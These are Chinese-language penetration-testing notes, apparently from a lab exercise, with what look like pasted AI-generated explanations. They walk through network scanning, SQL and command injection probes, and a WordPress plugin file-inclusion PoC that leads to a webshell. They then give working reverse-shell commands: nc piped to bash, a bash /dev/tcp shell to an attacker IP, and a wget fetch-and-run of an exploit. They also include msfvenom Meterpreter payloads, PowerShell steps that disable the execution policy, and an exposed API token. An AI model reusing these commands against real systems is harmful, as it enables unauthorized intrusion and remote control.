如何反弹shell
这个目录下/usr/share/windows-resources/binaries
有很多的在Windows上运行的exe程序
反弹的shell连接
Start-BitsTransfer http://192.168.55.11/powercat.psl pc.psl
.\pc.psl
报错内容为安全策略不允许执行.psl
所以我们用命令行改一下
Set-ExecutionPolicy Unrestricted
提示需要更高权限
Set-ExecutionPolicy Unrestricted
跳出提示输入y
就成功改掉了
cd\
cd .\Users
dir
cd yuanfh
cd .\Desktop\
ls
.\pc.psl
成功执行了.psl
.\pc.psl
..\pc.psl
powercat
导入pc.psl
然后使用power cat
测试诸如点是否存在
测试注入点是否存在通常是指在Web应用程序的安全测试中,检查是否有可能执行SQL注如、命令注入或其他类型的注入公鸡。这是一个敏感的操作,因为它涉及到可能违反法律和道德规范的行为。在进行此类测试之前,你必须确保你有权对目标系统进行安全测试,通常这意味着你需要得到系统所有者或管理员的明确许可。
发现地址
在Kali Linux中,有许多工具可以用来发现局域网内的IP地址。以下是几种常用的方法:
使用arp
命令
arp
命令可以显示本地计算机的ARP缓存表,其中包含了局域网内设备的IP地址和MAC地址。
sudo arp -a
使用nmap
工具
nmap
是一个强大的网络扫描工具,可以用来发现局域网内的活跃主机。
sudo nmap -sn 192.168.1.0/24
这里的192.168.1.0/24
是你想要扫描的网络地址。这个命令会扫描该网段内的所有IP地址,并显示哪些地址有回应。
基本端口扫描
要扫描局域网内所有主机的开放端口,可以使用以下命令:
sudo nmap -p- 192.168.1.0/24
这里,-p-
参数表示扫描所有65535个TCP端口,192.168.1.0/24
是要扫描的局域网网段。
指定端口范围扫描
如果你只想扫描特定的端口范围,可以使用以下命令:
sudo nmap -p 1-1024 192.168.1.0/24
这里,-p 1-1024
表示只扫描1到1024号端口。
快速扫描(SYN扫描)
如果你想进行更快速的扫描,可以使用SYN扫描(也称为半开放扫描):
sudo nmap -sS -p- 192.168.1.0/24
这里,-sS
参数表示使用SYN扫描。
使用ping
命令
ping
命令可以用来测试与某个IP地址的连通性。你可以遍历一个网段的所有IP地址来发现活跃的设备。
for ip in $(seq 1 254); do
ping -c 1 192.168.1.$ip &>/dev/null && echo "192.168.1.$ip is up"
done
这个脚本会依次ping局域网内的每个IP地址,并打印出有回应的地址。
使用fping
工具
fping
是一个快速的ping工具,可以同时ping多个IP地址。
sudo fping -a 192.168.1.0/24
使用netdiscover
工具
netdiscover
是一个用于发现局域网内所有设备的工具。
sudo netdiscover -r 192.168.1.0/24
使用avahi-browse
工具
avahi-browse
是一个用于浏览局域网内设备的服务发现工具。
sudo avahi-browse -a
使用ipneigh
命令
ipneigh
命令可以显示本地网络接口的邻居缓存表。
sudo ip neigh show
使用tcpdump
工具
tcpdump
是一个网络嗅探工具,可以用来捕获和分析网络流量。通过分析捕获的数据包,你可以发现局域网内的IP地址。
sudo tcpdump -i eth0 -nn host 192.168.1.0/24
以下是一些常见的注入点测试方法:
SQL注如测试
- 单引号测试:尝试在输入框中输入单引号
'
,如果应用程序返回错误或者异常,这可能表明存在SQL注如的风险。 - 基于错误的注入:尝试输入可能导致SQL语法错误的输入,比如
1' OR '1'='1
,如果应用程序返回了数据库的错误信息,这可能是一个注入点。 - 基于时间的注入:使用延时函数,如MySQL中的
BENCHMARK()
或SLEEP()
,来测试应用程序的响应时间是否有异常变化。 - 基于联合查询的注入:尝试使用
UNION SELECT
语句来检索额外的数据,例如1 UNION SELECT version(), @@version--
。
命令注入测试
- 分隔符测试:尝试在输入中加入操作系统命令分隔符,如Windows中的
;
或Linux中的&&
或|
,看是否能执行多个命令。 - 特殊字符测试:尝试输入特殊字符,如
&
、<
、>
、*
等,这些字符在命令行中有特殊含义,可能导致意外的命令执行。 - 反引号测试:在一些编程语言中,如PHP,可以使用反引号
`
来执行系统命令,尝试输入包含反引号的输入,看是否能执行命令。
注意事项
- 合法性:未经授权的渗投测试是非法的,务必获得相应的授权。
- 道德性:即使获得了授权,也应遵循道德准则,避免对生产环境造成影响。
- 责任性:在发现漏动后,应负责任地向系统所有者报告,而不是滥用这些信息。
- 安全性:在进行测试时,确保自己的行为不会对系统的安全性和稳定性造成威胁。
如果你是在合法授权的情况下进行测试,可以使用专业的工具如SQLMap、Burp Suite等来自动化检测注入点。这些工具能够帮助你更有效地识别和验证潜在的注入漏动。记住,任何安全测试都应该在合法和道德的框架内进行。
使用mnap -p22,80,139,445,10123 -sV 172.31.1.30
输出结果
history是root账户的命令执行日志
利用dirb工具来遍历路径
dirb http://172.31.1.30
将结果枚举出来
发现可疑的路径点击进来查看,看看重要文件,发现备份下载下来。
经过查看是一个web的网站源码,就是下面这个文件夹gila的备份zip
使用wpscan扫描
wpscan --url http://172.31.1.30/wp
wpscan
是一个用于审计 WordPress 网站安全的工具。它能够检测 WordPress 核心、插件、主题中的已知漏动,以及提供一些其他有用的信息。
如果你想要对 http://172.31.1.30/wp
进行扫描,可以使用以下命令:
wpscan --url http://172.31.1.30/wp
这个命令将会对指定的 URL 进行一个基本的扫描。默认情况下,wpscan
会检测 WordPress 核心、插件和主题的版本,并检查是否有已知的安全漏动。
附加选项
wpscan
提供了许多附加选项,可以根据需要进行配置。以下是一些常用的选项:
--enumerate
: 枚举更多的信息,例如用户、插件、主题等。--plugins
: 只扫描插件。--themes
: 只扫描主题。--vulns
: 显示已知漏动。--output-file <file>
: 将扫描结果保存到文件。
例如,如果你想要枚举用户并显示已知漏动,可以使用以下命令:
wpscan --url http://172.31.1.30/wp --enumerate u --vulns
wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp
当你使用 wpscan
进行 WordPress 安全扫描时,如果你有一个 WPScan API 密钥(API token),你可以将其添加到命令中以解锁额外的功能和更快的扫描速度。API 密钥通常用于支持 WPScan 项目,并通过捐赠获得(目前免费)。
以下是如何在你的命令中包含 API 密钥的示例:
wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp
在这个命令中,hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0
是你的 API 密钥,http://172.31.1.30/wp
是你要扫描的 WordPress 站点的 URL。
附加选项
除了基本的扫描之外,你还可以添加其他选项来定制你的扫描。例如,如果你想要枚举用户并检查已知的漏动,你可以使用以下命令:
wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp --enumerate u --vulnerabilities
在这个命令中,--enumerate u
表示枚举用户,而 --vulnerabilities
表示检查已知的漏动。
通用流程
扫端口-发现端口-发现web站点/应用-手动搜集信息-遍历目录-后台登陆页面及重要文件-根据扫描到的目录、版本信息查看有什么针对性的专用漏动扫描器-检查有没有扫描可以利用。
sql注如
发现诸如点-sqlmap跑数据库名和表名-爆破应用数据库及数据表-管理员/用户数据表把账户和密吗下载出来-做破接-利用密吗登录管理员后台-进一步渗投站点
来到这个站点去查一下wordpress站点的漏动及poc
如何来到目标站点来验证一下,发现确实可以读取到passwd的内容,说明公鸡成功。
结合这个漏动写一个带有本地shell.php的poc,在后面加上了cmd的命令执行,看看能不能返回命令执行的结果,回显公鸡成功。
172.31.1.30/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax, controller.php?aiaxActinotallow=getlds& cfg......
.../home/jarves/uptoad/shell.php&cmd=id
poc修改成which nc
返回目标站点服务器有nc的客户端
蟹盖poc为
cmd=172.31.1.16 4444
公鸡机这边打开监听
nc -nvlp 4444
然后执行目标站点的poc
发现公鸡机连上了目标站点服务器了
但是ls没有回显,说明只是连上了并没有执行系统命令
在poc后面加上一个-e /bin/bash
如果还是没有的话,说明nc的版本问题可能是没有-e的指令
cmd=nc 172.31.1.16 4444 | /bin/bash | nc 172.31.1.16 5555
然后看一下有没有python环境,如果有的话可以制作一个功能更加完整的shell
有了shell就可以做提权了
uname -a #看一下操作系统内核版本
lsb_release 操作系统是Ubuntu的21.04
方式二
利用wget,下载我在kali机器上的反弹shell
要在Web端利用wget下载在Kali机器上的反弹shell,你需要先确保你的Kali机器上运行了一个Web服务器,例如Apache或Nginx。然后,将反弹shell脚本上传到Web服务器的目录中。接下来,你可以在Web端使用wget命令来下载这个反弹shell脚本。
写好一个exp,用python来作为服务器
serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80) ...
在shell端这边下载exp
cd /tmp
pwd
wget http://172.31.1.16/exp
chmod 777 exp
./exp
看回显发现也没有问题,成功了。执行了exp之后也获得了权限
以下是具体步骤:
- 在Kali机器上安装并配置Web服务器(以Apache为例):
sudo apt-get update
sudo apt-get install apache2
- 将反弹shell脚本上传到Apache的默认目录(通常是/var/www/html):
sudo cp /path/to/your/reverse_shell.php /var/www/html/
- 确保Apache服务正在运行:
sudo systemctl start apache2
sudo systemctl enable apache2
- 在Web端,使用wget命令下载反弹shell脚本。首先,找到你的Kali机器的IP地址,然后在Web端执行以下命令(将
your_kali_ip
替换为实际的IP地址):
wget http://your_kali_ip/reverse_shell.php
- 下载完成后,你可以使用PHP或其他支持的语言来执行反弹shell脚本。例如,如果你使用的是PHP,可以在Web端执行以下命令:
php reverse_shell.php
或者
要在Web端利用wget下载Kali机器上的反弹shell,你需要遵循以下步骤:
- 首先,在Kali机器上创建一个反弹shell脚本。这里我们使用bash shell作为示例:
#!/bin/bash
bash -i >& /dev/tcp/your_attacker_ip/your_attacker_port 0>&1
将上述代码中的your_attacker_ip
和your_attacker_port
替换为你的公鸡者IP地址和端口号。
- 保存脚本到一个文件,例如
reverse_shell.sh
,并确保它具有可执行权限:
chmod +x reverse_shell.sh
- 在Kali机器上启动一个监听器,以便接收反弹的shell连接。你可以使用
netcat
或nc
工具来实现这一点:
nc -lvp your_attacker_port
将your_attacker_port
替换为你在第1步中设置的端口号。
- 在Web端,使用wget命令下载反弹shell脚本。假设你已经知道Kali机器上的URL路径(例如:
http://kali_machine_ip/reverse_shell.sh
),则可以使用以下命令:
wget http://kali_machine_ip/reverse_shell.sh
- 下载完成后,你可以在Web端的机器上运行下载的反弹shell脚本,以连接到Kali机器:
./reverse_shell.sh
现在,你应该已经成功建立了从Web端到Kali机器的反弹shell连接。请注意,这种方法仅适用于你有权限访问Kali机器上的反弹shell脚本的情况。此外,出于安全原因,不建议在生产环境中使用此类技术。
exp编写
在Kali Linux上,你可以使用Metasploit框架来创建一个针对特定网站的漏动利用(exploit)脚本。以下是一个简单的示例,用于创建一个基于PHP的Web应用程序漏动的Metasploit模块:
- 首先,确保你已经安装了Metasploit框架。如果没有,请运行以下命令安装:
sudo apt-get update
sudo apt-get install metasploit-framework
- 创建一个新的Metasploit模块。打开终端并输入以下命令:
msfvenom -p php/meterpreter_reverse_tcp LHOST=your_kali_ip LPORT=your_kali_port -f raw > shell.php
将your_kali_ip
替换为你的Kali Linux机器的IP地址,将your_kali_port
替换为你希望监听的端口号。这将生成一个名为shell.php
的文件,其中包含一个反向TCP Meterpreter shell。
- 将生成的
shell.php
文件上传到目标网站的服务器上。你可以使用FTP客户端、SCP或其他方法将文件传输到目标服务器。 - 在Kali Linux上,启动Metasploit控制台并设置监听器:
msfconsole
在Metasploit控制台中,输入以下命令以设置监听器:
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST your_kali_ip
set LPORT your_kali_port
exploit
- 现在,当目标用户访问上传了
shell.php
文件的网站时,他们将被连接到你的Kali Linux机器上的Metasploit监听器。你可以在Metasploit控制台中执行各种命令来控制目标系统。
请注意,这只是一个简单的示例,实际的公鸡可能需要更复杂的漏动利用和公鸡策略。在进行任何形式的渗投测试或公鸡之前,请确保你拥有合法的授权和权限。